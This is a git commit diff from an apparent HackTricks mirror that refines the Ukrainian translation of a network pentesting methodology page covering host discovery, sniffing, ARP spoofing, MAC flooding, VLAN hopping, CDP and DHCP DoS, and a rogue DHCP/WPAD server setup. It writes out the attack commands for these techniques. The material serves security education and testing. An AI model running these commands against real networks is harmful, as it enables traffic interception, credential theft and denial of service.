mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
8cd4828c8a
commit
87f49ea818
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
|
@ -12,7 +12,7 @@
|
||||
### ICMP
|
||||
|
||||
Це **найпростіший** і **найшвидший** спосіб дізнатися, чи активний хост.\
|
||||
Ви можете спробувати надіслати кілька **ICMP** пакетів і **очікувати відповіді**. Найпростіший спосіб - просто надіслати **echo request** і очікувати відповідь. Ви можете зробити це, використовуючи простий `ping` або використовуючи `fping` для **діапазонів**.\
|
||||
Ви можете спробувати надіслати кілька **ICMP** пакетів і **очікувати відповіді**. Найпростіший спосіб - просто надіслати **echo request** і очікувати відповідь. Ви можете зробити це, використовуючи простий `ping` або `fping` для **діапазонів**.\
|
||||
Ви також можете використовувати **nmap** для надсилання інших типів ICMP пакетів (це уникне фільтрів для звичайних ICMP echo request-response).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
@ -31,19 +31,19 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
|
||||
|
||||
### HTTP Port Discovery
|
||||
|
||||
Це просто виявлення TCP портів, корисне, коли ви хочете **зосередитися на виявленні HTTP** **сервісів**:
|
||||
Це просто виявлення TCP-портів, корисне, коли ви хочете **зосередитися на виявленні HTTP** **сервісів**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP Port Discovery
|
||||
|
||||
Ви також можете спробувати перевірити, чи є **відкриті UDP порти**, щоб вирішити, чи слід **звернути більше уваги** на **хост.** Оскільки UDP-сервіси зазвичай **не відповідають** з **жодними даними** на звичайний порожній UDP-запит, важко сказати, чи порт фільтрується, чи відкритий. Найпростіший спосіб вирішити це - надіслати пакет, пов'язаний з працюючим сервісом, і оскільки ви не знаєте, який сервіс працює, вам слід спробувати найбільш ймовірний на основі номера порту:
|
||||
Ви також можете спробувати перевірити, чи є **UDP порт відкритим**, щоб вирішити, чи слід **звернути більше уваги** на **хост.** Оскільки UDP сервіси зазвичай **не відповідають** з **жодними даними** на звичайний порожній UDP запит, важко сказати, чи порт фільтрується або відкритий. Найпростіший спосіб вирішити це - надіслати пакет, пов'язаний з працюючим сервісом, і оскільки ви не знаєте, який сервіс працює, вам слід спробувати найбільш ймовірний на основі номера порту:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
Запропонована раніше команда nmap протестує **найкращі 1000 UDP портів** на кожному хості в межах **/24** діапазону, але навіть це займе **>20хв**. Якщо потрібні **найшвидші результати**, ви можете використовувати [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Це надішле ці ці **UDP проби** на їх **очікуваний порт** (для діапазону /24 це займе лише 1 хв): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
Запропонована раніше команда nmap протестує **топ 1000 UDP портів** на кожному хості в межах **/24** діапазону, але навіть це займе **>20хв**. Якщо потрібні **найшвидші результати**, ви можете використовувати [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Це надішле ці ці **UDP проби** на їх **очікуваний порт** (для діапазону /24 це займе лише 1 хв): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Port Discovery
|
||||
```bash
|
||||
@ -58,7 +58,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
../pentesting-wifi/
|
||||
{{#endref}}
|
||||
|
||||
## Discovering hosts from the inside
|
||||
## Виявлення хостів зсередини
|
||||
|
||||
Якщо ви всередині мережі, однією з перших речей, які ви захочете зробити, є **виявлення інших хостів**. Залежно від **того, скільки шуму** ви можете/хочете створити, можуть бути виконані різні дії:
|
||||
|
||||
@ -76,7 +76,7 @@ set net.show.meta true #more info
|
||||
### Active
|
||||
|
||||
Зверніть увагу, що техніки, згадані в [_**Виявлення хостів ззовні**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_), також можуть бути **застосовані тут**.\
|
||||
Але, оскільки ви в **тій же мережі**, що й інші хости, ви можете робити **більше речей**:
|
||||
Але, оскільки ви в **тій же мережі**, ви можете робити **більше речей**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
@ -99,17 +99,17 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
### Active ICMP
|
||||
|
||||
Зверніть увагу, що техніки, описані в _Виявленні хостів ззовні_ ([_**ICMP**_](#icmp)), також можуть бути **застосовані тут**.\
|
||||
Але, оскільки ви в **тій же мережі**, що й інші хости, ви можете зробити **більше речей**:
|
||||
Але, оскільки ви в **тій же мережі**, що й інші хости, ви можете робити **більше речей**:
|
||||
|
||||
- Якщо ви **ping** адреси **широкої трансляції підмережі**, ping повинен дійти до **кожного хоста**, і вони можуть **відповісти** **вам**: `ping -b 10.10.5.255`
|
||||
- Пінгуючи **адресу широкої трансляції мережі**, ви навіть можете знайти хости всередині **інших підмереж**: `ping -b 255.255.255.255`
|
||||
- Використовуйте прапори `-PE`, `-PP`, `-PM` у `nmap` для виконання виявлення хостів, надсилаючи відповідно **ICMPv4 echo**, **timestamp** та **запити маски підмережі:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- Використовуйте прапори `-PE`, `-PP`, `-PM` у `nmap` для виявлення хостів, надсилаючи відповідно **ICMPv4 echo**, **timestamp** та **запити маски підмережі:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan використовується для **включення** комп'ютерів через **мережеве повідомлення**. Магічний пакет, що використовується для включення комп'ютера, є лише пакетом, в якому надається **MAC Dst**, а потім він **повторюється 16 разів** в одному пакеті.\
|
||||
Wake On Lan використовується для **включення** комп'ютерів через **мережеве повідомлення**. Магічний пакет, що використовується для включення комп'ютера, є лише пакетом, в якому вказано **MAC Dst**, а потім він **повторюється 16 разів** в одному пакеті.\
|
||||
Потім такі пакети зазвичай надсилаються в **ethernet 0x0842** або в **UDP-пакеті на порт 9**.\
|
||||
Якщо **[MAC] не надано**, пакет надсилається на **широкотрансляційний ethernet** (і широкотрансляційний MAC буде тим, що повторюється).
|
||||
Якщо **не вказано \[MAC]**, пакет надсилається на **широкий ефір** (і широкомовний MAC буде тим, що повторюється).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** призначений для використання разом з **TCP (Transmission Control Protocol)** та **UDP (User Datagram Protocol)**. Його основна мета - полегшити транспортування телефонних даних через IP-мережі, відображаючи багато з функцій надійності, які є в **Signaling System 7 (SS7)**. **SCTP** є основним компонентом сімейства протоколів **SIGTRAN**, яке має на меті транспортування сигналів SS7 через IP-мережі.
|
||||
**SCTP (Stream Control Transmission Protocol)** призначений для використання разом з **TCP (Transmission Control Protocol)** та **UDP (User Datagram Protocol)**. Його основна мета - полегшити транспортування телефонних даних через IP-мережі, відображаючи багато з надійних функцій, які є в **Signaling System 7 (SS7)**. **SCTP** є основним компонентом сімейства протоколів **SIGTRAN**, яке має на меті транспортувати сигнали SS7 через IP-мережі.
|
||||
|
||||
Підтримка **SCTP** надається різними операційними системами, такими як **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** та **VxWorks**, що свідчить про його широке визнання та корисність у сфері телекомунікацій та мережевих технологій.
|
||||
|
||||
@ -192,9 +192,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Sniffing ви можете дізнатися деталі IP-діапазонів, розміри підмереж, MAC-адреси та імена хостів, переглядаючи захоплені кадри та пакети. Якщо мережа неправильно налаштована або комутаційна структура під тиском, зловмисники можуть захопити чутливі матеріали за допомогою пасивного мережевого sniffing.
|
||||
За допомогою Sniffing ви можете дізнатися деталі IP-діапазонів, розміри підмереж, MAC-адреси та імена хостів, переглядаючи захоплені кадри та пакети. Якщо мережа неправильно налаштована або комутаційна структура під тиском, зловмисники можуть захопити чутливі матеріали за допомогою пасивного мережевого Sniffing.
|
||||
|
||||
Якщо комутована Ethernet-мережа налаштована правильно, ви побачите лише широкомовні кадри та матеріали, призначені для вашої MAC-адреси.
|
||||
Якщо мережа Ethernet з комутацією налаштована правильно, ви побачите лише широкомовні кадри та матеріали, призначені для вашої MAC-адреси.
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
Можна також захоплювати пакети з віддаленої машини через сеанс SSH за допомогою Wireshark як графічного інтерфейсу в реальному часі.
|
||||
Можна також захоплювати пакети з віддаленої машини через SSH-сесію за допомогою Wireshark як графічного інтерфейсу в реальному часі.
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -222,7 +222,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
|
||||
### Захоплення облікових даних
|
||||
|
||||
Ви можете використовувати інструменти, такі як [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), для парсингу облікових даних з pcap або з живого інтерфейсу.
|
||||
Ви можете використовувати інструменти, такі як [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), для парсингу облікових даних з pcap або живого інтерфейсу.
|
||||
|
||||
## LAN атаки
|
||||
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM переповнення
|
||||
|
||||
Переповнити CAM таблицю комутатора, відправляючи багато пакетів з різними MAC-адресами джерела. Коли CAM таблиця заповнена, комутатор починає поводитися як хаб (широкосмугово транслюючи весь трафік).
|
||||
Переповніть CAM таблицю комутатора, відправляючи багато пакетів з різними MAC-адресами джерела. Коли CAM таблиця заповнена, комутатор починає поводитися як хаб (широкосмугово транслюючи весь трафік).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -256,13 +256,13 @@ macof -i <interface>
|
||||
|
||||
#### Динамічне Транкування
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** розроблений як протокол канального рівня для полегшення автоматичної системи транкування, що дозволяє комутаторам автоматично вибирати порти для режиму транку (Trunk) або нетранкового режиму. Використання **DTP** часто вважається показником не оптимального дизайну мережі, підкреслюючи важливість ручного налаштування транків лише там, де це необхідно, і забезпечення належної документації.
|
||||
**Dynamic Trunking Protocol (DTP)** розроблений як протокол канального рівня для полегшення автоматичної системи транкування, що дозволяє комутаторам автоматично вибирати порти для режиму транку (Trunk) або нетранкувального режиму. Використання **DTP** часто вважається показником субоптимального дизайну мережі, підкреслюючи важливість ручного налаштування транків лише там, де це необхідно, і забезпечення належної документації.
|
||||
|
||||
За замовчуванням порти комутатора налаштовані на роботу в режимі Dynamic Auto, що означає, що вони готові ініціювати транкування, якщо це запитано сусіднім комутатором. Проблема безпеки виникає, коли пентестер або зловмисник підключається до комутатора і надсилає DTP Desirable кадр, змушуючи порт перейти в режим транку. Ця дія дозволяє зловмиснику перераховувати VLAN через аналіз кадрів STP і обходити сегментацію VLAN, налаштовуючи віртуальні інтерфейси.
|
||||
За замовчуванням порти комутатора налаштовані на роботу в режимі Dynamic Auto, що означає, що вони готові ініціювати транкування, якщо це запитано сусіднім комутатором. Проблема безпеки виникає, коли пентестер або зловмисник підключається до комутатора і надсилає DTP Desirable кадр, змушуючи порт перейти в режим транку. Ця дія дозволяє зловмиснику перерахувати VLAN через аналіз кадрів STP і обійти сегментацію VLAN, налаштувавши віртуальні інтерфейси.
|
||||
|
||||
Наявність DTP у багатьох комутаторах за замовчуванням може бути використана супротивниками для імітації поведінки комутатора, таким чином отримуючи доступ до трафіку через всі VLAN. Скрипт [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) використовується для моніторингу інтерфейсу, виявляючи, чи знаходиться комутатор у режимі Default, Trunk, Dynamic, Auto або Access—останній є єдиною конфігурацією, яка не підлягає атакам VLAN hopping. Цей інструмент оцінює статус вразливості комутатора.
|
||||
|
||||
Якщо вразливість мережі буде виявлена, інструмент _**Yersinia**_ може бути використаний для "увімкнення транкування" через протокол DTP, що дозволяє спостерігати за пакетами з усіх VLAN.
|
||||
Якщо буде виявлено вразливість мережі, інструмент _**Yersinia**_ може бути використаний для "увімкнення транкування" через протокол DTP, що дозволяє спостерігати за пакетами з усіх VLAN.
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
@ -329,7 +329,7 @@ sudo dhclient -v eth0.30
|
||||
|
||||
Якщо зловмисник знає значення **MAC, IP та VLAN ID жертви**, він може спробувати **подвійно тегувати кадр** з його призначеним VLAN та VLAN жертви і надіслати пакет. Оскільки **жертва не зможе підключитися назад** до зловмисника, **найкращим варіантом для зловмисника є спілкування через UDP** з протоколами, які можуть виконувати деякі цікаві дії (наприклад, SNMP).
|
||||
|
||||
Ще один варіант для зловмисника - запустити **TCP порт-сканування, підробляючи IP, контрольований зловмисником і доступний жертві** (можливо, через інтернет). Тоді зловмисник може перехопити на другому хості, що належить йому, якщо він отримує деякі пакети від жертви.
|
||||
Ще один варіант для зловмисника - запустити **TCP порт-сканування, підробляючи IP, контрольований зловмисником і доступний жертві** (можливо, через інтернет). Тоді зловмисник може прослуховувати на другому хості, що належить йому, якщо він отримує якісь пакети від жертви.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -350,7 +350,7 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
У певних середовищах, таких як гостьові бездротові мережі, **ізоляція портів (також відома як приватний VLAN)** реалізується для запобігання безпосередньому спілкуванню клієнтів, підключених до бездротової точки доступу. Однак виявлено техніку, яка може обійти ці заходи ізоляції. Ця техніка експлуатує або відсутність мережевих ACL, або їх неправильну конфігурацію, що дозволяє IP-пакетам маршрутизуватися через маршрутизатор для досягнення іншого клієнта в тій же мережі.
|
||||
У певних середовищах, таких як гостьові бездротові мережі, реалізуються налаштування **ізоляції портів (також відомі як приватний VLAN)**, щоб запобігти безпосередньому спілкуванню клієнтів, підключених до бездротової точки доступу. Однак виявлено техніку, яка може обійти ці заходи ізоляції. Ця техніка експлуатує або відсутність мережевих ACL, або їх неправильну конфігурацію, що дозволяє IP-пакетам маршрутизуватися через маршрутизатор для досягнення іншого клієнта в тій же мережі.
|
||||
|
||||
Атака виконується шляхом створення **пакета, який містить IP-адресу цільового клієнта, але з MAC-адресою маршрутизатора**. Це змушує маршрутизатор помилково переслати пакет до цільового клієнта. Цей підхід подібний до того, що використовується в атаках Double Tagging, де можливість контролювати хост, доступний жертві, використовується для експлуатації вразливості безпеки.
|
||||
|
||||
@ -385,7 +385,7 @@ VTP (VLAN Trunking Protocol) централізує управління VLAN.
|
||||
|
||||
### Атаки STP
|
||||
|
||||
**Якщо ви не можете захопити кадри BPDU на своїх інтерфейсах, малоймовірно, що ви досягнете успіху в атаці STP.**
|
||||
**Якщо ви не можете захопити кадри BPDU на своїх інтерфейсах, малоймовірно, що ви зможете успішно провести атаку STP.**
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
@ -417,21 +417,21 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
|
||||
```
|
||||
### CDP Атаки
|
||||
|
||||
CISCO Discovery Protocol (CDP) є важливим для зв'язку між пристроями CISCO, що дозволяє їм **ідентифікувати один одного та ділитися конфігураційними деталями**.
|
||||
CISCO Discovery Protocol (CDP) є важливим для зв'язку між пристроями CISCO, дозволяючи їм **ідентифікувати один одного та ділитися конфігураційними деталями**.
|
||||
|
||||
#### Пасивний збір даних <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP налаштовано на трансляцію інформації через всі порти, що може призвести до ризику безпеки. Зловмисник, підключившись до порту комутатора, може використовувати мережеві аналізатори, такі як **Wireshark**, **tcpdump** або **Yersinia**. Ця дія може розкрити чутливі дані про мережевий пристрій, включаючи його модель та версію Cisco IOS, яку він використовує. Зловмисник може потім націлитися на конкретні вразливості у виявленій версії Cisco IOS.
|
||||
CDP налаштовано на трансляцію інформації через всі порти, що може призвести до ризику безпеки. Зловмисник, підключившись до порту комутатора, може використовувати мережеві аналізатори, такі як **Wireshark**, **tcpdump** або **Yersinia**. Ця дія може розкрити чутливі дані про мережевий пристрій, включаючи його модель та версію Cisco IOS, яку він використовує. Зловмисник може потім націлитися на конкретні вразливості в ідентифікованій версії Cisco IOS.
|
||||
|
||||
#### Виклик затоплення таблиці CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Більш агресивний підхід полягає в запуску атаки відмови в обслуговуванні (DoS), перевантажуючи пам'ять комутатора, видаючи себе за легітимні пристрої CISCO. Нижче наведено послідовність команд для ініціювання такої атаки за допомогою Yersinia, інструменту для тестування мережі:
|
||||
Більш агресивний підхід полягає в запуску атаки відмови в обслуговуванні (DoS), перевантажуючи пам'ять комутатора, вдаючи з себе легітимні пристрої CISCO. Нижче наведено послідовність команд для ініціювання такої атаки за допомогою Yersinia, інструменту для тестування мережі:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Під час цієї атаки процесор комутатора та таблиця сусідів CDP зазнають великого навантаження, що призводить до того, що це часто називають **“мертвим станом мережі”** через надмірне споживання ресурсів.
|
||||
Під час цієї атаки процесор комутатора та таблиця сусідів CDP зазнають великого навантаження, що призводить до того, що часто називають **“мертвим з'єднанням”** через надмірне споживання ресурсів.
|
||||
|
||||
#### Атака на підробку CDP
|
||||
```bash
|
||||
@ -442,24 +442,24 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
|
||||
### Атаки VoIP та інструмент VoIP Hopper
|
||||
|
||||
VoIP телефони, які все більше інтегруються з IoT пристроями, пропонують функції, такі як відкриття дверей або управління термостатами через спеціальні телефонні номери. Однак ця інтеграція може створювати ризики для безпеки.
|
||||
Телефони VoIP, які все більше інтегруються з пристроями IoT, пропонують функції, такі як відкриття дверей або управління термостатами через спеціальні телефонні номери. Однак ця інтеграція може створювати ризики для безпеки.
|
||||
|
||||
Інструмент [**voiphopper**](http://voiphopper.sourceforge.net) призначений для емуляції VoIP телефону в різних середовищах (Cisco, Avaya, Nortel, Alcatel-Lucent). Він виявляє VLAN ID голосової мережі, використовуючи протоколи, такі як CDP, DHCP, LLDP-MED та 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** пропонує три режими для протоколу Cisco Discovery Protocol (CDP):
|
||||
|
||||
1. **Sniff Mode** (`-c 0`): Аналізує мережеві пакети для визначення VLAN ID.
|
||||
2. **Spoof Mode** (`-c 1`): Генерує користувацькі пакети, що імітують пакети реального VoIP пристрою.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Відправляє пакети, ідентичні пакетам конкретної моделі Cisco IP телефону.
|
||||
1. **Режим прослуховування** (`-c 0`): Аналізує мережеві пакети для визначення VLAN ID.
|
||||
2. **Режим підробки** (`-c 1`): Генерує користувацькі пакети, що імітують пакети реального VoIP пристрою.
|
||||
3. **Режим підробки з готовими пакетами** (`-c 2`): Відправляє пакети, ідентичні пакетам конкретної моделі Cisco IP телефону.
|
||||
|
||||
Переважний режим для швидкості - це третій. Він вимагає вказати:
|
||||
|
||||
- Мережева інтерфейс атакуючого (`-i` параметр).
|
||||
- Назва VoIP пристрою, що емулюється (`-E` параметр), відповідно до формату іменування Cisco (наприклад, SEP, за яким слідує MAC адреса).
|
||||
- Назва VoIP пристрою, що емулюється (`-E` параметр), відповідно до формату іменування Cisco (наприклад, SEP, за яким слідує MAC-адреса).
|
||||
|
||||
У корпоративних умовах, щоб імітувати існуючий VoIP пристрій, можна:
|
||||
|
||||
- Перевірити MAC етикетку на телефоні.
|
||||
- Перевірити MAC-мітку на телефоні.
|
||||
- Перейти до налаштувань дисплея телефону, щоб переглянути інформацію про модель.
|
||||
- Підключити VoIP пристрій до ноутбука та спостерігати запити CDP за допомогою Wireshark.
|
||||
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**Два типи DoS** можуть бути виконані проти DHCP серверів. Перший полягає в тому, щоб **симулювати достатню кількість фейкових хостів, щоб використати всі можливі IP-адреси**.\
|
||||
**Два типи DoS** можуть бути виконані проти DHCP серверів. Перший полягає в **імітації достатньої кількості фейкових хостів для використання всіх можливих IP-адрес**.\
|
||||
Ця атака спрацює лише якщо ви можете бачити відповіді DHCP сервера і завершити протокол (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Наприклад, це **неможливо в Wifi мережах**.
|
||||
|
||||
Інший спосіб виконати DHCP DoS - це надіслати **DHCP-RELEASE пакет, використовуючи як вихідний код кожну можливу IP-адресу**. Тоді сервер подумає, що всі закінчили використовувати IP.
|
||||
@ -499,11 +499,11 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Більш автоматизований спосіб зробити це - використати інструмент [DHCPing](https://github.com/kamorin/DHCPig).
|
||||
|
||||
Ви можете використовувати згадані атаки DoS, щоб змусити клієнтів отримувати нові оренди в середовищі та виснажити легітимні сервери, щоб вони стали неактивними. Тож, коли легітимні спробують перепідключитися, **ви можете надати шкідливі значення, згадані в наступній атаці**.
|
||||
Ви можете використовувати згадані атаки DoS, щоб змусити клієнтів отримувати нові оренди в середовищі та виснажити легітимні сервери, щоб вони стали неактивними. Тож, коли легітимні спробують повторно підключитися, **ви можете надати шкідливі значення, згадані в наступній атаці**.
|
||||
|
||||
#### Встановлення шкідливих значень
|
||||
|
||||
Шкідливий DHCP сервер можна налаштувати за допомогою DHCP скрипта, розташованого за адресою `/usr/share/responder/DHCP.py`. Це корисно для мережевих атак, таких як захоплення HTTP трафіку та облікових даних, шляхом перенаправлення трафіку на шкідливий сервер. Однак налаштування шкідливого шлюзу менш ефективне, оскільки це дозволяє лише захоплювати вихідний трафік від клієнта, пропускаючи відповіді від реального шлюзу. Натомість рекомендується налаштувати шкідливий DNS або WPAD сервер для більш ефективної атаки.
|
||||
Шкідливий DHCP сервер можна налаштувати за допомогою DHCP скрипта, розташованого за адресою `/usr/share/responder/DHCP.py`. Це корисно для мережевих атак, таких як захоплення HTTP трафіку та облікових даних, шляхом перенаправлення трафіку на шкідливий сервер. Однак налаштування шкідливого шлюзу менш ефективне, оскільки воно дозволяє лише захоплювати вихідний трафік від клієнта, пропускаючи відповіді від реального шлюзу. Натомість рекомендується налаштувати шкідливий DNS або WPAD сервер для більш ефективної атаки.
|
||||
|
||||
Нижче наведені параметри команд для налаштування шкідливого DHCP сервера:
|
||||
|
||||
@ -515,10 +515,10 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- **Маска підмережі локальної мережі**: Використовуйте `-n 255.255.255.0`, щоб визначити маску підмережі для локальної мережі.
|
||||
- **Інтерфейс для DHCP трафіку**: Використовуйте `-I eth1`, щоб слухати DHCP трафік на конкретному мережевому інтерфейсі.
|
||||
- **Адреса конфігурації WPAD**: Використовуйте `-w “http://10.0.0.100/wpad.dat”`, щоб встановити адресу для конфігурації WPAD, що допомагає в перехопленні веб-трафіку.
|
||||
- **Спуфінг IP адреси за замовчуванням шлюзу**: Додайте `-S`, щоб спуфити IP адресу шлюзу за замовчуванням.
|
||||
- **Підробка IP адреси за замовчуванням шлюзу**: Додайте `-S`, щоб підробити IP адресу шлюзу за замовчуванням.
|
||||
- **Відповідати на всі DHCP запити**: Додайте `-R`, щоб сервер відповідав на всі DHCP запити, але будьте обережні, оскільки це шумно і може бути виявлено.
|
||||
|
||||
Правильно використовуючи ці параметри, можна створити шкідливий DHCP сервер для ефективного перехоплення мережевого трафіку.
|
||||
Правильно використовуючи ці параметри, можна ефективно встановити шкідливий DHCP сервер для перехоплення мережевого трафіку.
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
@ -528,8 +528,8 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
Ось деякі тактики атак, які можна використовувати проти реалізацій 802.1X:
|
||||
|
||||
- Активне брутфорсинг паролів через EAP
|
||||
- Атака на сервер RADIUS з неправильно сформованим EAP контентом _\*\*_(вразливості)
|
||||
- Захоплення EAP повідомлень та офлайн злому паролів (EAP-MD5 та PEAP)
|
||||
- Атака на сервер RADIUS з неправильно сформованим EAP-контентом _\*\*_(експлойти)
|
||||
- Захоплення EAP-повідомлень та офлайн-ламання паролів (EAP-MD5 та PEAP)
|
||||
- Примусова аутентифікація EAP-MD5 для обходу перевірки сертифіката TLS
|
||||
- Впровадження шкідливого мережевого трафіку під час аутентифікації за допомогою хаба або подібного
|
||||
|
||||
@ -539,7 +539,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) - це клас мережевих протоколів, призначених для **створення гарячої резервної маршрутизаційної системи**. З FHRP фізичні маршрутизатори можуть бути об'єднані в один логічний пристрій, що підвищує відмовостійкість і допомагає розподілити навантаження.
|
||||
**FHRP** (Протокол резервування першого переходу) - це клас мережевих протоколів, призначених для **створення гарячої резервної маршрутизаційної системи**. З FHRP фізичні маршрутизатори можуть бути об'єднані в один логічний пристрій, що підвищує стійкість до відмов і допомагає розподілити навантаження.
|
||||
|
||||
**Інженери Cisco Systems розробили два протоколи FHRP: GLBP та HSRP.**
|
||||
|
||||
@ -549,16 +549,16 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Відомо про існування трьох версій Протоколу маршрутизаційної інформації (RIP): RIP, RIPv2 та RIPng. Датаграми надсилаються до пір через порт 520 за допомогою UDP в RIP та RIPv2, тоді як датаграми транслюються на UDP порт 521 через IPv6 multicast в RIPng. Підтримка аутентифікації MD5 була введена в RIPv2. З іншого боку, нативна аутентифікація не включена в RIPng; натомість покладаються на необов'язкові заголовки IPsec AH та ESP в IPv6.
|
||||
Відомо про існування трьох версій Протоколу інформації про маршрути (RIP): RIP, RIPv2 та RIPng. Датаграми надсилаються до пір через порт 520 за допомогою UDP в RIP та RIPv2, тоді як датаграми транслюються на UDP порт 521 через IPv6 multicast в RIPng. Підтримка аутентифікації MD5 була введена в RIPv2. З іншого боку, нативна аутентифікація не включена в RIPng; натомість покладаються на необов'язкові заголовки IPsec AH та ESP в IPv6.
|
||||
|
||||
- **RIP та RIPv2:** Спілкування відбувається через UDP датаграми на порту 520.
|
||||
- **RIP та RIPv2:** Зв'язок здійснюється через UDP датаграми на порту 520.
|
||||
- **RIPng:** Використовує UDP порт 521 для трансляції датаграм через IPv6 multicast.
|
||||
|
||||
